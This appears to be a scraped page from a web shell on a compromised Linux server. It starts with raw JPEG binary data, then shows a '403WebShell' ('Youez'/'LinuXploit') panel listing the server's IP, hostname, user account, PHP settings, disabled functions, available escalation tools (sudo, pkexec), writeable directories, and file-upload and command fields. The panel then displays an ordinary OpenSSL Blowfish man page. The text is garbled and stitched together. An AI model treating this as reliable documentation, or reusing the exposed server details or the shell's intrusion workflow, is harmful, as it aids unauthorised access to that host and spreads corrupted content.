JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 173.199.190.172  /  Your IP : 216.73.216.167
Web Server : Apache
System : Linux chs1.nescrow.com.ng 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : oysipaoygov ( 1026)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/cpanel/ea-openssl11/share/doc/openssl/html/man3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-openssl11/share/doc/openssl/html/man3/BF_set_key.html
<?xml version="1.0" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>BF_encrypt</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:root@localhost" />
</head>

<body style="background-color: white">



<ul id="index">
  <li><a href="#NAME">NAME</a></li>
  <li><a href="#SYNOPSIS">SYNOPSIS</a></li>
  <li><a href="#DESCRIPTION">DESCRIPTION</a></li>
  <li><a href="#RETURN-VALUES">RETURN VALUES</a></li>
  <li><a href="#NOTE">NOTE</a></li>
  <li><a href="#SEE-ALSO">SEE ALSO</a></li>
  <li><a href="#COPYRIGHT">COPYRIGHT</a></li>
</ul>

<h1 id="NAME">NAME</h1>

<p>BF_set_key, BF_encrypt, BF_decrypt, BF_ecb_encrypt, BF_cbc_encrypt, BF_cfb64_encrypt, BF_ofb64_encrypt, BF_options - Blowfish encryption</p>

<h1 id="SYNOPSIS">SYNOPSIS</h1>

<pre><code> #include &lt;openssl/blowfish.h&gt;

 void BF_set_key(BF_KEY *key, int len, const unsigned char *data);

 void BF_ecb_encrypt(const unsigned char *in, unsigned char *out,
                     BF_KEY *key, int enc);
 void BF_cbc_encrypt(const unsigned char *in, unsigned char *out,
                     long length, BF_KEY *schedule,
                     unsigned char *ivec, int enc);
 void BF_cfb64_encrypt(const unsigned char *in, unsigned char *out,
                       long length, BF_KEY *schedule,
                       unsigned char *ivec, int *num, int enc);
 void BF_ofb64_encrypt(const unsigned char *in, unsigned char *out,
                       long length, BF_KEY *schedule,
                       unsigned char *ivec, int *num);
 const char *BF_options(void);

 void BF_encrypt(BF_LONG *data, const BF_KEY *key);
 void BF_decrypt(BF_LONG *data, const BF_KEY *key);</code></pre>

<h1 id="DESCRIPTION">DESCRIPTION</h1>

<p>This library implements the Blowfish cipher, which was invented and described by Counterpane (see http://www.counterpane.com/blowfish.html ).</p>

<p>Blowfish is a block cipher that operates on 64 bit (8 byte) blocks of data. It uses a variable size key, but typically, 128 bit (16 byte) keys are considered good for strong encryption. Blowfish can be used in the same modes as DES (see <a href="../man7/des_modes.html">des_modes(7)</a>). Blowfish is currently one of the faster block ciphers. It is quite a bit faster than DES, and much faster than IDEA or RC2.</p>

<p>Blowfish consists of a key setup phase and the actual encryption or decryption phase.</p>

<p>BF_set_key() sets up the <b>BF_KEY</b> <b>key</b> using the <b>len</b> bytes long key at <b>data</b>.</p>

<p>BF_ecb_encrypt() is the basic Blowfish encryption and decryption function. It encrypts or decrypts the first 64 bits of <b>in</b> using the key <b>key</b>, putting the result in <b>out</b>. <b>enc</b> decides if encryption (<b>BF_ENCRYPT</b>) or decryption (<b>BF_DECRYPT</b>) shall be performed. The vector pointed at by <b>in</b> and <b>out</b> must be 64 bits in length, no less. If they are larger, everything after the first 64 bits is ignored.</p>

<p>The mode functions BF_cbc_encrypt(), BF_cfb64_encrypt() and BF_ofb64_encrypt() all operate on variable length data. They all take an initialization vector <b>ivec</b> which needs to be passed along into the next call of the same function for the same message. <b>ivec</b> may be initialized with anything, but the recipient needs to know what it was initialized with, or it won&#39;t be able to decrypt. Some programs and protocols simplify this, like SSH, where <b>ivec</b> is simply initialized to zero. BF_cbc_encrypt() operates on data that is a multiple of 8 bytes long, while BF_cfb64_encrypt() and BF_ofb64_encrypt() are used to encrypt a variable number of bytes (the amount does not have to be an exact multiple of 8). The purpose of the latter two is to simulate stream ciphers, and therefore, they need the parameter <b>num</b>, which is a pointer to an integer where the current offset in <b>ivec</b> is stored between calls. This integer must be initialized to zero when <b>ivec</b> is initialized.</p>

<p>BF_cbc_encrypt() is the Cipher Block Chaining function for Blowfish. It encrypts or decrypts the 64 bits chunks of <b>in</b> using the key <b>schedule</b>, putting the result in <b>out</b>. <b>enc</b> decides if encryption (BF_ENCRYPT) or decryption (BF_DECRYPT) shall be performed. <b>ivec</b> must point at an 8 byte long initialization vector.</p>

<p>BF_cfb64_encrypt() is the CFB mode for Blowfish with 64 bit feedback. It encrypts or decrypts the bytes in <b>in</b> using the key <b>schedule</b>, putting the result in <b>out</b>. <b>enc</b> decides if encryption (<b>BF_ENCRYPT</b>) or decryption (<b>BF_DECRYPT</b>) shall be performed. <b>ivec</b> must point at an 8 byte long initialization vector. <b>num</b> must point at an integer which must be initially zero.</p>

<p>BF_ofb64_encrypt() is the OFB mode for Blowfish with 64 bit feedback. It uses the same parameters as BF_cfb64_encrypt(), which must be initialized the same way.</p>

<p>BF_encrypt() and BF_decrypt() are the lowest level functions for Blowfish encryption. They encrypt/decrypt the first 64 bits of the vector pointed by <b>data</b>, using the key <b>key</b>. These functions should not be used unless you implement &#39;modes&#39; of Blowfish. The alternative is to use BF_ecb_encrypt(). If you still want to use these functions, you should be aware that they take each 32-bit chunk in host-byte order, which is little-endian on little-endian platforms and big-endian on big-endian ones.</p>

<h1 id="RETURN-VALUES">RETURN VALUES</h1>

<p>None of the functions presented here return any value.</p>

<h1 id="NOTE">NOTE</h1>

<p>Applications should use the higher level functions <a href="../man3/EVP_EncryptInit.html">EVP_EncryptInit(3)</a> etc. instead of calling these functions directly.</p>

<h1 id="SEE-ALSO">SEE ALSO</h1>

<p><a href="../man3/EVP_EncryptInit.html">EVP_EncryptInit(3)</a>, <a href="../man7/des_modes.html">des_modes(7)</a></p>

<h1 id="COPYRIGHT">COPYRIGHT</h1>

<p>Copyright 2000-2020 The OpenSSL Project Authors. All Rights Reserved.</p>

<p>Licensed under the OpenSSL license (the &quot;License&quot;). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <a href="https://www.openssl.org/source/license.html">https://www.openssl.org/source/license.html</a>.</p>


</body>

</html>



Youez - 2016 - github.com/yon3zu
LinuXploit